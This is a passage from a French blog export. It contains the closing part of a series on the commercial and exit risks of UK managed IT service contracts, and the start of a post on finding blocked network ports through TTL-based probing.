réponse compétente opposée à ce à quoi ressemble une esquive, et une colonne pour consigner laquelle vous avez eue.\n\u0026#8615; Questions au fournisseur, la version longue msp-supplier-questions.xlsx · 26 kB Traitez-le comme une feuille d\u0026rsquo;aide, pas un script. Parcourez-le, marquez la douzaine qui pèse réellement sur votre contrat, et posez celles-là. Personne ne tient assis cent questions en une heure et vous apprendriez moins s\u0026rsquo;ils essayaient. Envoyez-le avant la réunion plutôt que de le sortir dedans — un prestataire qui fait le métier correctement sera content du préavis, et la façon dont il prend le préavis est elle-même une réponse.\nUne question là-dedans demande lesquelles de leurs recommandations leur rapportent un rabais, un crédit, une marge ou un objectif du fournisseur. C\u0026rsquo;est celle qui change la température d\u0026rsquo;une pièce, et ça ne devrait pas. Un prestataire qui n\u0026rsquo;a rien à cacher y répond franchement, parce qu\u0026rsquo;il allait recommander la même chose de toute façon et préférerait que vous le sachiez. Regardez ce qui se passe quand vous demandez. La réponse compte moins que la réaction.\nUn prestataire qui fait le métier correctement a tout ça sous la main. Déjà, aujourd\u0026rsquo;hui, sans préparer. Les besoins couchés sur le papier, les options chiffrées, la ligne open source sur la comparaison, le plan d\u0026rsquo;adressage à double pile, l\u0026rsquo;outil de gestion à distance corrigé et les risques dans le registre où ils ont leur place. Demandez, et vous découvrez en une réunion quelle sorte vous payez.\nEt si c\u0026rsquo;est le fait de demander lui-même qui les contrarie, vous avez découvert tout ce dont vous aviez besoin.\nChaque compte se tait Tout ceci suppose que vous pouvez partir si vous en avez besoin. Ça vaut d\u0026rsquo;être testé avant d\u0026rsquo;en avoir besoin, parce que partir est là où un contrat de service géré cesse de porter sur la technologie.\nSupposez que vous en aurez besoin un jour. Chacun de ces arrangements dérive de la même façon, quel que soit celui avec qui vous signez. L\u0026rsquo;attention que vous aviez pendant qu\u0026rsquo;ils gagnaient l\u0026rsquo;affaire s\u0026rsquo;amincit une fois le prélèvement automatique en marche, et vous vous installez dans leurs livres comme un chiffre mensuel plutôt qu\u0026rsquo;un parc auquel quelqu\u0026rsquo;un pense. Personne ne s\u0026rsquo;assied et décide de cesser de se soucier. Le meilleur ingénieur va où est le bruit, les revues cessent discrètement d\u0026rsquo;avoir lieu, et votre matériel reste sur ce qui était la bonne réponse l\u0026rsquo;année où vous avez signé pendant que le reste du métier avance sans vous.\nComprenez ce qu\u0026rsquo;est réellement un compte silencieux, parce que la formule sonne comme un compliment et n\u0026rsquo;en est pas un. Un compte silencieux est un que personne n\u0026rsquo;a vérifié. Les sauvegardes tournent au vert chaque nuit et personne n\u0026rsquo;en a restauré une sur une machine de rechange et regardée démarrer. La paire de secours n\u0026rsquo;a jamais été basculée, parce que le faire veut dire réserver une panne et quelqu\u0026rsquo;un devrait être là. Le firmware est celui qui a été livré, le certificat a été renouvelé par qui s\u0026rsquo;en est souvenu, et la documentation décrit un réseau qui a été déclassé deux déménagements plus tôt. Le décompte des licences n\u0026rsquo;a pas été regardé depuis l\u0026rsquo;année où vous aviez onze salariés de plus. Rien de tout ça ne génère un ticket, donc rien n\u0026rsquo;atteint l\u0026rsquo;écran de personne, et le compte navigue à travers chaque revue interne parce que la seule chose mesurée est de savoir si vous avez appelé.\nPuis vous découvrez. Pas à une revue, parce qu\u0026rsquo;il n\u0026rsquo;y en a pas eu. Vous découvrez le matin où la restauration est nécessaire, ou quand l\u0026rsquo;auditeur demande le schéma, ou quand une chose qui a tourné intouchée pendant six ans s\u0026rsquo;arrête et personne de resté dans le bâtiment ne sait ce qu\u0026rsquo;elle faisait. Un compte silencieux paie autant qu\u0026rsquo;un occupé et coûte bien moins à servir. C\u0026rsquo;est toute l\u0026rsquo;incitation, et elle pointe loin de quiconque ouvrant jamais le couvercle.\nLe conseil qui leur coûte de l\u0026rsquo;argent Posez le test à l\u0026rsquo;envers, et demandez ce que vous êtes censé acheter réellement. Ce n\u0026rsquo;est pas l\u0026rsquo;absence d\u0026rsquo;ennuis. N\u0026rsquo;importe qui peut être absent. Ce que vous payez, c\u0026rsquo;est quelqu\u0026rsquo;un qui connaît l\u0026rsquo;entreprise assez bien pour arriver avec des choses que vous n\u0026rsquo;avez pas demandées : une façon de faire la fin de mois qui cesse de s\u0026rsquo;écrouler, une licence que vous payez et que personne n\u0026rsquo;a ouverte depuis l\u0026rsquo;avant-dernière année, une façon moins chère de tenir les données, un plan pour la boîte que tout le monde a discrètement convenu de ne pas redémarrer. Une partie de ça leur coûte du revenu à vous dire, ce qui est exactement pourquoi c\u0026rsquo;est le signal honnête. Demandez-vous quand votre prestataire a pour la dernière fois mis devant vous une recommandation qui rendait sa propre facture plus petite.\nLa forme la plus courante que ça prend n\u0026rsquo;est pas une remise. C\u0026rsquo;est quelqu\u0026rsquo;un qui passe en revue ce que vous faites déjà tourner. La plupart des structures ne manquent pas de logiciel, elles manquent de quelqu\u0026rsquo;un qui s\u0026rsquo;est jamais assis correctement avec le logiciel qu\u0026rsquo;elles ont : le palier de licence qui inclut déjà la fonction cotée, le module payé dans le projet d\u0026rsquo;origine et jamais déployé, le flux de travail dans le système de finances qui mettrait fin à la ressaisie si quelqu\u0026rsquo;un lui donnait deux jours, le second abonnement acheté parce que personne n\u0026rsquo;a demandé au premier fournisseur si son produit faisait ça aussi, la restitution que personne n\u0026rsquo;a jamais bâtie donc toute l\u0026rsquo;entreprise exporte vers un tableur et fait le travail là. Un vrai prestataire commence dans ce tas. Ce que vous possédez, ce qu\u0026rsquo;on peut lui faire faire, ce qu\u0026rsquo;il ne fera jamais, et combien du problème disparaît si la chose que vous payez déjà est configurée comme elle était censée l\u0026rsquo;être, tout ça avant que quiconque ouvre une liste de prix.\nCe qui vous dit comment ils comptent gagner sur vous, parce que ce travail est de la sorte gênante. Il veut dire lire la documentation de quelqu\u0026rsquo;un d\u0026rsquo;autre, apprendre un système qu\u0026rsquo;ils ne revendent pas et pour lequel ils n\u0026rsquo;obtiennent rien à connaître, et s\u0026rsquo;asseoir avec les gens qui l\u0026rsquo;utilisent toute la journée pour découvrir ce qui se passe réellement à quatre heures un vendredi. Aucun rabais n\u0026rsquo;arrive au dos de tout ça. C\u0026rsquo;est aussi tout ce que vous croyiez acheter. Et parfois la réponse à la fin est vraiment un nouveau système, auquel cas achetez le nouveau système. Dépenser n\u0026rsquo;est pas le problème. L\u0026rsquo;ordre est : ce que vous faites tourner, ce qu\u0026rsquo;il fera encore, où il est vraiment insuffisant, et seulement ensuite quoi aller chercher. Une recommandation qui saute les trois premiers n\u0026rsquo;a jamais été une évaluation. C\u0026rsquo;était un catalogue avec votre nom tapé en haut.\nEt un prestataire qui ne s\u0026rsquo;est jamais assis pour apprendre ce que l\u0026rsquo;entreprise fait ne peut rien faire de tout ça. Il y a une différence entre savoir que vous avez quatre-vingt-dix boîtes aux lettres et savoir quelle heure de quel jour ça ferait vraiment mal de perdre le système qui prend les commandes. L\u0026rsquo;un est de l\u0026rsquo;inventaire, l\u0026rsquo;autre est de la compréhension, et seul le second produit un conseil qui vaut l\u0026rsquo;argent. Une entreprise qui n\u0026rsquo;a rien proposé en trois ans, qui ne peut pas dire ce que vous vendez ni quand tombe votre haute saison, qui maintient les lumières et lève la facture le même jour chaque mois, n\u0026rsquo;est pas un partenaire et a cessé de prétendre l\u0026rsquo;être. C\u0026rsquo;est un abonnement avec un numéro de téléphone dessus. Pas un à garder.\nL\u0026rsquo;échec opposé se présente dans un plus beau costume. C\u0026rsquo;est le prestataire qui n\u0026rsquo;est jamais silencieux du tout, qui a quelque chose pour vous chaque trimestre, et dont la réponse à chaque question que vous avez jamais posée est revenue avec une référence attachée. Ça ressemble à de l\u0026rsquo;attention. Ce qui sépare le conseil de la vente n\u0026rsquo;est pas son volume, et ce n\u0026rsquo;est pas non plus la qualité des diapositives — c\u0026rsquo;est de savoir si la recommandation est capable de revenir sous la forme laissez tomber, vous n\u0026rsquo;avez besoin de rien cette année, et cet argent est mieux dépensé sur la chose dans le coin que personne n\u0026rsquo;a budgétée. Si pas une recommandation dans toute la relation ne leur a jamais coûté une vente, on ne vous conseille pas. On vous fait passer à travers une liste, et la partie un parle d\u0026rsquo;où viennent ces listes. Un partenaire vous dissuade de dépenser parfois. Pour tous les autres vous êtes un compte qui achète ce qu\u0026rsquo;on lui montre, ce qui est une vache à lait avec un bureau de service attaché, et personne d\u0026rsquo;impliqué n\u0026rsquo;a à être malhonnête pour que ce soit exactement ce qui se passe.\nSe débarrasser d\u0026rsquo;un mauvais prestataire Parcourez ce qui doit réellement se passer. Le tout. Des identifiants administratifs remis pour chaque système. Une documentation qui décrit comment le parc est bâti, à supposer qu\u0026rsquo;elle existe. Le contrôle des noms de domaine, et de quel que soit le compte où vit le DNS. Les clés privées de certificat. Des abonnements sortis de l\u0026rsquo;accord partenaire du prestataire et mis dans une location qui est la vôtre. Leur agent retiré de chaque machine, par eux. Et le sortant coopérant avec son remplaçant, en détail, pendant des semaines, tout en n\u0026rsquo;étant payé rien pour le faire et venant de se voir dire qu\u0026rsquo;il est fini.\nCe qui doit bouger au départ, et qui le détient Détenu par l'entreprise que vous quittez Chaque identifiant administratif La documentation, si elle existe Les domaines, et le compte DNS Les clés privées de certificat Les licences sous leur accord partenaire Leur agent, sur chaque machine à vous Et des semaines de leurs ingénieurs doit bouger sans paiement À vous, ou à votre remplaçant Avant la fin du préavis Et ce jour-là On vient de leur dire qu'ils sont finis L'ingénieur qui connaissait votre parc est ailleurs, payé La moitié de vos demandes se révèle facturable Rien de ça n'est du sabotage Plus ils ont été mauvais, moins de cette liste existe à remettre. Une entreprise qui n'a jamais couché vos besoins n'a pas écrit le dossier de passation non plus, et le désordre est la douve. Alors demandez le dossier aujourd'hui, tant que tout le monde s'entend, et vérifiez-en une page contre une machine en direct. Tout ça siège chez l\u0026rsquo;entreprise qui vient de se voir dire qu\u0026rsquo;elle est finie, et rien du déplacement n\u0026rsquo;est un travail que quelqu\u0026rsquo;un les paie pour faire. Maintenant la partie qui devrait vous inquiéter le plus. Plus un prestataire est mauvais, plus cette sortie devient dure, parce que les défaillances sont les mêmes défaillances. Une entreprise qui n\u0026rsquo;a jamais couché vos besoins sur le papier n\u0026rsquo;a pas écrit le dossier de passation non plus. Une entreprise qui a gardé les identifiants dans un coffre partagé n\u0026rsquo;a aucune façon propre de les donner à quelqu\u0026rsquo;un d\u0026rsquo;autre. Une entreprise sans playbook et sans test de restauration n\u0026rsquo;a rien à remettre sauf un accès et bonne chance. Le désordre est la douve. Personne ne s\u0026rsquo;est assis et ne l\u0026rsquo;a conçue ainsi, et elle marche mieux que s\u0026rsquo;ils l\u0026rsquo;avaient fait.\nAlors supposez que la ligne documentation ne tient pas. La documentation est la première chose à rester non écrite et la dernière chose que quiconque vérifie, et ce qui arrive au départ décrira un parc qui a avancé sans elle. C\u0026rsquo;est le bon cas. Le mauvais est un dossier qui a l\u0026rsquo;air complet et qui est faux : un schéma avec un switch dessus qui est parti à la déchetterie il y a deux ans, un runbook pour un serveur qui a été reconstruit depuis, une feuille d\u0026rsquo;identifiants pleine de comptes sous lesquels personne ne peut se connecter. Une documentation fausse est pire que rien, parce que vous agissez dessus. Rien au moins vous envoie aller regarder.\nChiffrez la sortie comme si rien n\u0026rsquo;y survivait. Quelqu\u0026rsquo;un parcourt les baies, lit la configuration sur le matériel en direct, exporte les règles de pare-feu et les plages DHCP et les fichiers de zone, et note ce qui tourne réellement. C\u0026rsquo;est des semaines de travail, et dans une sortie c\u0026rsquo;est des semaines que vous dépensez sous préavis, tandis que les seuls qui connaissent les réponses ont déjà été dit qu\u0026rsquo;ils sont finis. Faites-le maintenant à la place. Demandez le dossier aujourd\u0026rsquo;hui, puis prenez une page et vérifiez-la contre une machine en direct. Si elle tient, vous avez appris quelque chose qui vaut d\u0026rsquo;être su. Si elle ne vaut pas les bits utilisés pour la stocker, vous avez appris ça aussi, et vous l\u0026rsquo;avez appris avec un an pour y remédier plutôt qu\u0026rsquo;une quinzaine.\nCette ligne de coopération est celle qui fera réellement mal, et c\u0026rsquo;est celle que personne ne chiffre. Relisez-la comme une requête : une entreprise qui vient de perdre le compte se voit demander de passer des semaines à l\u0026rsquo;expliquer aux gens qui le lui ont pris. Personne n\u0026rsquo;a à refuser. Le compte passe dans la pile des partants, l\u0026rsquo;ingénieur qui connaissait votre parc va sur un travail qui paie encore, et vos questions atterrissent chez qui reste. Les réponses reviennent en jours au lieu d\u0026rsquo;heures. L\u0026rsquo;appel de passation est réservé à trois semaines. La moitié de ce que vous demandez se révèle facturable, et la seule personne qui a bâti la chose est partie en mars. Rien de tout ça n\u0026rsquo;est du sabotage. Tout ça vous coûte exactement ce que le sabotage coûterait.\nVotre remplaçant le porte, et puis vous le portez de nouveau. Leur premier mois passe à comprendre ce qu\u0026rsquo;ils ont hérité. C\u0026rsquo;est de la découverte pour laquelle ils n\u0026rsquo;ont rien à vous montrer, donc soit ils la chiffrent honnêtement et paraissent chers face au renouvellement du sortant, soit ils l\u0026rsquo;avalent et commencent le travail déjà en retard. Vous payez dans les deux cas. Alors achetez la coopération avant d\u0026rsquo;en avoir besoin. Mettez-la dans le contrat à l\u0026rsquo;entrée plutôt qu\u0026rsquo;à la sortie : une période de passation définie, une personne nommée qui la fait, un tarif journalier convenu tant qu\u0026rsquo;ils veulent encore votre signature, et un accès qui reste vivant jusqu\u0026rsquo;à ce que l\u0026rsquo;entreprise entrante dise qu\u0026rsquo;il peut partir. Payez pour un chevauchement et comptez-le bon marché. Et n\u0026rsquo;arrivez jamais au basculement avec le prestataire sortant détenant la seule clé de quelque chose que vous possédez.\nLa paperasse fait sa part aussi. Des périodes de préavis mesurées en mois plutôt qu\u0026rsquo;en semaines, des dates de reconduction automatique qui passent pendant que vous décidez encore, et une passation tarifée comme des services professionnels à un tarif journalier que quelqu\u0026rsquo;un fixe après que vous avez déjà donné votre congé. Rien de tout ça n\u0026rsquo;est inhabituel, et rien ne casse aucune règle.\nAlors testez la sortie tant que la relation va bien et que personne n\u0026rsquo;est contrarié. Demandez le dossier de passation maintenant, par écrit, comme un livrable plutôt qu\u0026rsquo;une promesse. Demandez qui est réellement le titulaire de vos domaines. Demandez si vos licences siègent dans votre propre location ou sous leur accord partenaire, et ce que les déplacer implique. Un prestataire qui fait le métier correctement répondra aux trois de tête, parce qu\u0026rsquo;une entreprise confiante dans son travail n\u0026rsquo;a aucune raison de rendre le départ difficile.\nEt si les réponses sont vagues, souvenez-vous de ce que la prochaine section dit sur à qui vous vous plaignez.\nIl n\u0026rsquo;y a pas de régulateur pour la vente Quelque chose aurait dû vous tarauder à ce stade. Chaque défaillance de cette série qui est venue avec une conclusion formelle attachée est une défaillance de sécurité. L\u0026rsquo;ICO sur Advanced. L\u0026rsquo;ICO sur Capita. La CISA sur l\u0026rsquo;outillage. Sur la vente — la liste, le rabais, l\u0026rsquo;option unique, le renouvellement — il n\u0026rsquo;y a rien. Pas une seule action d\u0026rsquo;exécution contre un MSP britannique.\nCe n\u0026rsquo;est pas parce que la vente est propre. C\u0026rsquo;est parce que personne n\u0026rsquo;a le travail de la regarder.\nLe droit de la consommation s\u0026rsquo;arrête à votre porte d\u0026rsquo;entrée. Le Consumer Rights Act 2015 protège les consommateurs, et une société à responsabilité limitée achetant un service géré n\u0026rsquo;en est pas un. Le Digital Markets, Competition and Consumers Act 2024 a remis à la CMA des pouvoirs d\u0026rsquo;exécution directe en avril 2025, pointés droit sur les pratiques de vente agressives, les informations trompeuses et les clauses contractuelles manifestement déséquilibrées. Ce sont des pouvoirs consommateur. Le propre compte rendu de la CMA de la première année vaut d\u0026rsquo;être lu pour la formulation autant que pour les chiffres : quatorze enquêtes, deux règlements, 760 000 £ « refunded to consumers » — remboursés aux consommateurs —, 4,7 millions de livres d\u0026rsquo;amendes, 157 lettres de conseil et d\u0026rsquo;avertissement. Des consommateurs, à chaque fois. Pas le fabricant de trente personnes qui a signé cinq ans de service géré au printemps dernier.\nLes télécoms sont le seul coin dont un régulateur britannique s\u0026rsquo;est approché. Ça montre à quoi ressemble l\u0026rsquo;exécution quand quelqu\u0026rsquo;un tient le mandat. En juillet 2015 l\u0026rsquo;Ofcom a amendé un petit fournisseur télécoms d\u0026rsquo;affaires de 200 000 £ pour vente abusive de services de ligne fixe à une base d\u0026rsquo;« around 100,000 small businesses » — environ 100 000 petites entreprises —, et l\u0026rsquo;a obligé à indemniser les clients affectés et à réécrire ses supports de vente. Bonne conduite, bonne taille de client, mauvaise industrie, et il y a onze ans.\nIl n\u0026rsquo;y a pas d\u0026rsquo;équivalent pour les services informatiques. Additionnez depuis là où vous êtes. Pas de délai de rétractation. Pas de médiateur vers qui escalader. Pas de régulateur avec juridiction. Aucun devoir sur personne de vous dire ce que le fournisseur lui paie. Pas de conclusions publiées dont apprendre, parce qu\u0026rsquo;il n\u0026rsquo;y a nulle part d\u0026rsquo;où une conclusion puisse venir. Le contrat a été rédigé par le fournisseur, et le seul recours dedans est de poursuivre — ce qui veut dire des frais, des années, et un budget juridique qu\u0026rsquo;une petite entreprise n\u0026rsquo;a pas, comme le fournisseur en est bien conscient.\nLe conseil financier avait exactement ce problème et l\u0026rsquo;a réglé. Le correctif n\u0026rsquo;était pas compliqué — dire qui paie le conseiller, et empêcher le fournisseur du produit d\u0026rsquo;en être la réponse.\nIl n\u0026rsquo;y aura pas de RDR pour l\u0026rsquo;informatique. Personne ne vient obliger votre MSP à déclarer ce que le fournisseur lui paie, et le Cyber Security and Resilience Bill qui passe actuellement au Parlement, qui tirerait les prestataires de services gérés à l\u0026rsquo;intérieur des NIS Regulations, porte sur la détection et le signalement plutôt que sur qui paie pour le conseil.\nDonc quand quelqu\u0026rsquo;un vous dit qu\u0026rsquo;il n\u0026rsquo;y a pas de preuve d\u0026rsquo;un problème dans la façon dont la technologie est vendue dans ce pays, il a raison. Ça ne veut rien dire du tout. Il n\u0026rsquo;y a pas de preuve parce qu\u0026rsquo;il n\u0026rsquo;y a pas d\u0026rsquo;inspecteur, pas de voie de plainte qui finit en un document public, et pas de registre de ce qui est arrivé à quiconque d\u0026rsquo;autre a signé le même contrat. Dans un marché que personne ne supervise, l\u0026rsquo;absence de preuve n\u0026rsquo;est que l\u0026rsquo;absence de quiconque regarde.\nCe que cela dit du métier Ôtez les factures et regardez qui est réellement debout dans cet arrangement.\nÀ un bout, des entreprises qui fabriquent et font des choses. Une entreprise qui usine des pièces. Un garage. Une cuisine qui nourrit des gens. Des avocats installant quelqu\u0026rsquo;un dans une maison un vendredi. Chacune produit quelque chose que vous pouvez montrer du doigt, et chacune porte le risque de ce billet, parce qu\u0026rsquo;elles sont la seule partie de la chaîne qui ne peut rien décliner.\nÀ l\u0026rsquo;autre bout, plusieurs couches qui ne produisent rien du tout. Un fournisseur dont la licence décline l\u0026rsquo;aptitude à toute fin particulière. Un distributeur déplaçant une boîte entre entrepôts et prenant une part. Un programme partenaire payant quelqu\u0026rsquo;un pour préférer un logo à un autre. Un prestataire vendant des heures contre une responsabilité plafonnée. Chacun prend sa marge et passe la conséquence plus bas, et la conséquence continue de voyager jusqu\u0026rsquo;à atteindre la seule personne qui doit ouvrir les portes le lundi.\nUn métier est un corps de gens qui savent faire quelque chose, qui sont payés pour le savoir, et qui se tiennent derrière ce qu\u0026rsquo;ils disent parce que leur nom est dessus. Tenue contre ça, l\u0026rsquo;essentiel de cette industrie est un canal de distribution avec des certifications.\nRegardez ce qui a été cédé pour en arriver là. La compétence d\u0026rsquo;abord, parce qu\u0026rsquo;on ne peut pas couper un tiers de ce qu\u0026rsquo;on dépense en formation et vendre encore de l\u0026rsquo;expertise sans rire. Puis le jugement, vendu au début de l\u0026rsquo;engagement et décliné à l\u0026rsquo;instant où il est mis à l\u0026rsquo;épreuve. Et en dernier la simple volonté de dire « ce n\u0026rsquo;est pas la bonne réponse pour vous » quand la bonne réponse paie moins — ce qui est la seule chose qui sépare le conseil de la vente, et ne coûte que du cran.\nLa sortie de tout ça est peu glorieuse et entièrement disponible. Possédez le matériel que vous pouvez posséder. Détenez vos propres clés. Gardez la documentation quelque part que vous pouvez atteindre sans appeler personne. Apprenez-en assez sur vos propres systèmes pour savoir quand on vous dit une bêtise — pas pour les faire tourner vous-même, juste pour reconnaître un adjectif arrivant là où un chiffre était demandé. Ce n\u0026rsquo;est pas de la nostalgie du temps où chacun avait un serveur dans un placard. C\u0026rsquo;est le seul levier offert, et il est bon marché.\nIl y a des gens dans ce métier qui n\u0026rsquo;ont jamais cessé de faire le travail correctement, et ils ne sont pas durs à repérer une fois que vous savez quoi chercher. Ils cotent l\u0026rsquo;option ennuyeuse. Ils vous disent ce qu\u0026rsquo;une chose coûte plutôt que ce à quoi elle est tarifée. Ils mettent le risque par écrit avant que vous demandiez, et ils sont soulagés quand quelqu\u0026rsquo;un vérifie enfin.\nLes autres ont arrangé les choses pour que personne ne le fasse jamais. Vous avez le droit de demander ce que ça coûte, qui paie qui, et ce qui se passe quand ça casse. Personne dans cet arrangement ne va le proposer de lui-même, et ce n\u0026rsquo;est pas la même chose que de ne pas vous le devoir.\nIs Your MSP Lying To You — 3 parts\nVotre MSP vous ment-il pour vous vendre des produits premium ? Ce que votre MSP vous a construit, et qui d\u0026#39;autre peut l\u0026#39;atteindre Quand ça casse, qui le porte vraiment ?you are here Sources Consultées le 28 août 2026.\nDroit et politique.\nCyber Security and Resilience (Network and Information Systems) Bill 2024-26 — note de la House of Commons Library sur l\u0026rsquo;intégration des prestataires de services gérés dans les NIS Regulations. Qui a le droit de se plaindre.\nConsumer Rights Act 2015 et le Digital Markets, Competition and Consumers Act 2024 — les protections, et pour qui elles sont. CMA, l\u0026rsquo;exécution directe consommateur un an après — d\u0026rsquo;avril 2025 à avril 2026 : 14 enquêtes, 760 000 £ remboursés aux consommateurs, 4,7 millions de livres d\u0026rsquo;amendes. L\u0026rsquo;Ofcom amende Unicom, 31 juillet 2015 — 200 000 £ pour vente abusive à de petites entreprises, la chose la plus proche d\u0026rsquo;un précédent d\u0026rsquo;exécution, dans les télécoms plutôt que l\u0026rsquo;informatique. ","permalink":"https://blogs.damiendye.uk/fr/random/is-your-msp-lying-to-you-part3/","summary":"Partie 3 sur 3. Des temps de réponse au lieu de résultats, un plafond de responsabilité fixé aux honoraires que vous avez déjà payés, et un prestataire dont les excuses finissent par arriver jusqu\u0026rsquo;à vous. Les questions qui font sortir tout ça, ce qu\u0026rsquo;un vrai prestataire fait à la place, et ce qu\u0026rsquo;il faut pour se débarrasser d\u0026rsquo;un mauvais.","title":"Quand ça casse, qui le porte vraiment ?"},{"content":"Une connexion qui expire ne vous dit presque rien. Le bout d\u0026rsquo;en face peut n\u0026rsquo;avoir rien qui écoute, un pare-feu à trois sauts peut avaler votre SYN en silence sans produire la moindre ligne de journal, ou la route peut simplement ne pas exister — et d\u0026rsquo;où vous êtes assis, tout ça se ressemble. Vous attendez. Rien ne se passe.\nAlors le ticket est écrit « le port 445 est bloqué quelque part », et c\u0026rsquo;est « quelque part » qui le fait rebondir. Votre opérateur vérifie son bord, le trouve propre, et vous le rend. Vous vérifiez le pare-feu de votre machine, vous le trouvez propre, et vous le lui rendez. Une semaine passe. Rien n\u0026rsquo;est réparé.\nLe mot qui fait les dégâts, c\u0026rsquo;est « quelque part ». Il n\u0026rsquo;a pas à être là. Chaque routeur entre vous et la destination est tenu de vous dire quand c\u0026rsquo;est lui, et cette obligation est écrite dans les normes depuis 1995. Il suffit de demander de la bonne façon.\nPourquoi il faut l\u0026rsquo;écrire noir sur blanc Parce que trop de gens dans ce métier ne savent pas faire les bases, et que ça coûte de l\u0026rsquo;argent réel à leurs employeurs chaque semaine.\nJe ne parle pas des juniors. Je parle de gens avec des années derrière eux, des certifications au mur et « senior » dans le titre, dont le diagnostic d\u0026rsquo;un port qui expire s\u0026rsquo;arrête à « c\u0026rsquo;est bloqué » et ne va pas plus loin. Ils lancent ping. Ça échoue, ou ça marche, et dans les deux cas ils n\u0026rsquo;ont rien appris sur le port qu\u0026rsquo;on leur demandait. Puis le ticket part chez l\u0026rsquo;opérateur, l\u0026rsquo;opérateur le renvoie, et quinze jours du salaire de quelqu\u0026rsquo;un partent dans un fil qui aurait pu être une seule commande.\nRien de tout ça n\u0026rsquo;est difficile. Distinguer un drop d\u0026rsquo;un reject, lire le TTL d\u0026rsquo;une réponse, savoir qu\u0026rsquo;une étoile dans un traceroute ne veut rien dire toute seule — c\u0026rsquo;est un après-midi à apprendre et ça dure une carrière. Si les gens ne le savent pas, ce n\u0026rsquo;est pas qu\u0026rsquo;ils sont bêtes. C\u0026rsquo;est que personne ne l\u0026rsquo;enseigne. La formation constructeur vous apprend la console d\u0026rsquo;un constructeur. Les certifications vous apprennent l\u0026rsquo;examen. Les fondamentaux en dessous sont supposés acquis au premier jour et jamais réellement couverts, alors les gens arrivent à des postes seniors sans qu\u0026rsquo;on les leur ait jamais montrés, et à ce stade c\u0026rsquo;est gênant de demander.\nAlors plutôt que de râler, le voici écrit. Ce sont les bases, détaillées, avec les commandes et un script que vous pouvez lancer aujourd\u0026rsquo;hui.\nEt un mot sur pourquoi je m\u0026rsquo;y suis mis : j\u0026rsquo;ai lancé ça contre ma propre ligne en l\u0026rsquo;écrivant et j\u0026rsquo;ai trouvé trois défauts que je ne me connaissais pas. Un blocage SMB à onze sauts. Des resets SMTP forgés à un saut. Une règle de pare-feu qui existe en IPv4 et pas en IPv6. Un après-midi, sans root, sur une ligne dont je m\u0026rsquo;occupe moi-même et à laquelle je fais attention. Demandez-vous ce qui traîne sans être vu sur les réseaux que quelqu\u0026rsquo;un est payé pour exploiter.\nPourquoi le Fisher-Price OS (Windows) n\u0026rsquo;est pas ici Deux raisons pour lesquelles il n\u0026rsquo;est pas là. L\u0026rsquo;une est technique et l\u0026rsquo;autre non, et je préfère vous donner les deux plutôt que de faire croire que tout est de l\u0026rsquo;ingénierie.\nLa technique, c\u0026rsquo;est qu\u0026rsquo;il ne sait pas faire ça. tracert envoie des requêtes d\u0026rsquo;écho ICMP et rien d\u0026rsquo;autre — la référence de Microsoft elle-même le décrit comme « sending Internet Control Message Protocol (ICMP) echo Request or ICMPv6 messages to the destination with incrementally increasing time to live (TTL) field values », et il n\u0026rsquo;y a de paramètre de port nulle part dans sa syntaxe. pathping est le même outil avec des statistiques boulonnées dessus. Test-NetConnection vous dira qu\u0026rsquo;un port TCP est ouvert ou fermé et absolument rien sur la distance d\u0026rsquo;où la réponse est venue. Aucun d\u0026rsquo;eux ne peut sonder le port qui vous intéresse à une distance choisie, ce qui est toute la méthode de ce billet.\nEt vous ne pouvez pas non plus vous en tirer par un script. Poser le TTL sur un socket est assez facile en .NET, mais relire l\u0026rsquo;erreur ICMP est la moitié difficile, et il n\u0026rsquo;y a pas d\u0026rsquo;équivalent de l\u0026rsquo;astuce sur laquelle ce billet s\u0026rsquo;appuie — aucun moyen de faire rapporter l\u0026rsquo;erreur par le noyau sur le socket ordinaire qui l\u0026rsquo;a causée. Il reste le socket brut, et la documentation de Microsoft dit elle-même que « only members of the Administrators group can create sockets of type SOCK_RAW ». Donc la voie non privilégiée n\u0026rsquo;existe pas et la voie privilégiée veut un jeton d\u0026rsquo;administrateur local. Vous voilà parti sur des téléchargements tiers avant même d\u0026rsquo;avoir commencé.\nL\u0026rsquo;autre raison, c\u0026rsquo;est que je m\u0026rsquo;en moque, et je préfère le dire que l\u0026rsquo;habiller. Le nom n\u0026rsquo;est pas une pique gratuite non plus, c\u0026rsquo;est une description. C\u0026rsquo;est le système qu\u0026rsquo;on vous colle quand vous n\u0026rsquo;en avez jamais eu d\u0026rsquo;autre, il vous cache la machine par choix de conception et non par accident, et à la seconde où vous voulez poser une question précise au réseau, il s\u0026rsquo;avère que l\u0026rsquo;outil n\u0026rsquo;a jamais été construit — parce qu\u0026rsquo;on n\u0026rsquo;attendait pas des gens pour qui il est fait qu\u0026rsquo;ils demandent. Trente ans après, tracert ne sait toujours pas viser un port.\nCe n\u0026rsquo;est pas un vrai système d\u0026rsquo;exploitation pour les vrais informaticiens, et si c\u0026rsquo;est le seul que vous ayez jamais utilisé alors vous ne faites pas ce métier au niveau pour lequel ce billet est écrit. Je sais que ça passe mal. Je n\u0026rsquo;écris pas pour être aimé, j\u0026rsquo;écris ce que je mesure pour des gens qui mesurent des choses, et je me soucie peu que quelqu\u0026rsquo;un qui n\u0026rsquo;a jamais fait tourner autre chose préfère que je le dise autrement.\nLa liste des outils est l\u0026rsquo;argument, pas l\u0026rsquo;opinion. Chaque Unix du tableau plus bas vous laissera poser une limite de sauts et choisir un protocole, quatre d\u0026rsquo;entre eux depuis une seule commande, et Linux fera toute la mesure sans même un sudo. Ce n\u0026rsquo;est pas parce qu\u0026rsquo;ils sont plus durs à utiliser. C\u0026rsquo;est parce qu\u0026rsquo;ils ont été bâtis par des gens qui attendaient de celui qui est au clavier qu\u0026rsquo;il veuille savoir des choses. Un système d\u0026rsquo;exploitation dont le diagnostic s\u0026rsquo;arrête à ping vous a dit clairement ce qu\u0026rsquo;il pense de la personne qui s\u0026rsquo;en sert, et trente ans de gens qui l\u0026rsquo;ont accepté, voilà comment on a fini avec une industrie incapable de localiser un paquet perdu.\nAlors je ne le fais pas tourner, je ne l\u0026rsquo;ai pas fait tourner sérieusement depuis des années, et je ne vais pas lui écrire une section à lui pour avoir l\u0026rsquo;air équilibré sur un manque qui est réel. Tout ce sur quoi je bâtis et tout ce depuis quoi il vaut la peine de mesurer est de l\u0026rsquo;Unix, et c\u0026rsquo;est là que vit ce billet.\nSi la machine cassée se trouve faire tourner le Fisher-Price OS (Windows), ça ne change rien à la méthode. Prenez un shell sur autre chose — une VM Linux, un Mac, un Raspberry Pi sur le même switch — et faites monter la limite de sauts vers elle. La mesure se moque totalement de ce que fait tourner le bout d\u0026rsquo;en face. Elle ne s\u0026rsquo;occupe que de ce qu\u0026rsquo;il 